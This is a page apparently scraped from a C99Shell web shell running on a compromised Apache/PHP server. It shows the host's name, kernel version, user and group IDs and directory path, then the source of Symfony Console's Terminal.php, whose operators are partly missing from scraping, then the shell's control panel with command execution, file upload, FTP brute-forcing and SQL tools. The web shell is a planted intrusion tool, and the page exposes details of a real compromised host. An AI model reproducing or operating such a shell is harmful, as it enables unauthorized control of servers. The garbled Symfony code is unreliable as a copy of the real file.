!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html_1_4/vendor/symfony/console/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Terminal.php (5.09 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Console;

class 
Terminal
{
    private static 
$width;
    private static 
$height;
    private static 
$stty;

    
/**
     * Gets the terminal width.
     *
     * @return int
     */
    
public function getWidth()
    {
        
$width getenv('COLUMNS');
        if (
false !== $width) {
            return (int) 
trim($width);
        }

        if (
null === self::$width) {
            
self::initDimensions();
        }

        return 
self::$width ?: 80;
    }

    
/**
     * Gets the terminal height.
     *
     * @return int
     */
    
public function getHeight()
    {
        
$height getenv('LINES');
        if (
false !== $height) {
            return (int) 
trim($height);
        }

        if (
null === self::$height) {
            
self::initDimensions();
        }

        return 
self::$height ?: 50;
    }

    
/**
     * @internal
     */
    
public static function hasSttyAvailable(): bool
    
{
        if (
null !== self::$stty) {
            return 
self::$stty;
        }

        
// skip check if shell_exec function is disabled
        
if (!\function_exists('shell_exec')) {
            return 
false;
        }

        return 
self::$stty = (bool) shell_exec('stty 2> '.('\\' === \DIRECTORY_SEPARATOR 'NUL' '/dev/null'));
    }

    private static function 
initDimensions()
    {
        if (
'\\' === \DIRECTORY_SEPARATOR) {
            
$ansicon getenv('ANSICON');
            if (
false !== $ansicon && preg_match('/^(\d+)x(\d+)(?: \((\d+)x(\d+)\))?$/'trim($ansicon), $matches)) {
                
// extract [w, H] from "wxh (WxH)"
                // or [w, h] from "wxh"
                
self::$width = (int) $matches[1];
                
self::$height = isset($matches[4]) ? (int) $matches[4] : (int) $matches[2];
            } elseif (!
self::hasVt100Support() && self::hasSttyAvailable()) {
                
// only use stty on Windows if the terminal does not support vt100 (e.g. Windows 7 + git-bash)
                // testing for stty in a Windows 10 vt100-enabled console will implicitly disable vt100 support on STDOUT
                
self::initDimensionsUsingStty();
            } elseif (
null !== $dimensions self::getConsoleMode()) {
                
// extract [w, h] from "wxh"
                
self::$width = (int) $dimensions[0];
                
self::$height = (int) $dimensions[1];
            }
        } else {
            
self::initDimensionsUsingStty();
        }
    }

    
/**
     * Returns whether STDOUT has vt100 support (some Windows 10+ configurations).
     */
    
private static function hasVt100Support(): bool
    
{
        return 
\function_exists('sapi_windows_vt100_support') && sapi_windows_vt100_support(fopen('php://stdout''w'));
    }

    
/**
     * Initializes dimensions using the output of an stty columns line.
     */
    
private static function initDimensionsUsingStty()
    {
        if (
$sttyString self::getSttyColumns()) {
            if (
preg_match('/rows.(\d+);.columns.(\d+);/i'$sttyString$matches)) {
                
// extract [w, h] from "rows h; columns w;"
                
self::$width = (int) $matches[2];
                
self::$height = (int) $matches[1];
            } elseif (
preg_match('/;.(\d+).rows;.(\d+).columns/i'$sttyString$matches)) {
                
// extract [w, h] from "; h rows; w columns"
                
self::$width = (int) $matches[2];
                
self::$height = (int) $matches[1];
            }
        }
    }

    
/**
     * Runs and parses mode CON if it's available, suppressing any error output.
     *
     * @return int[]|null An array composed of the width and the height or null if it could not be parsed
     */
    
private static function getConsoleMode(): ?array
    {
        
$info self::readFromProcess('mode CON');

        if (
null === $info || !preg_match('/--------+\r?\n.+?(\d+)\r?\n.+?(\d+)\r?\n/'$info$matches)) {
            return 
null;
        }

        return [(int) 
$matches[2], (int) $matches[1]];
    }

    
/**
     * Runs and parses stty -a if it's available, suppressing any error output.
     */
    
private static function getSttyColumns(): ?string
    
{
        return 
self::readFromProcess('stty -a | grep columns');
    }

    private static function 
readFromProcess(string $command): ?string
    
{
        if (!
\function_exists('proc_open')) {
            return 
null;
        }

        
$descriptorspec = [
            
=> ['pipe''w'],
            
=> ['pipe''w'],
        ];

        
$cp \function_exists('sapi_windows_cp_set') ? sapi_windows_cp_get() : 0;

        
$process proc_open($command$descriptorspec$pipesnullnull, ['suppress_errors' => true]);
        if (!
\is_resource($process)) {
            return 
null;
        }

        
$info stream_get_contents($pipes[1]);
        
fclose($pipes[1]);
        
fclose($pipes[2]);
        
proc_close($process);

        if (
$cp) {
            
sapi_windows_cp_set($cp);
        }

        return 
$info;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--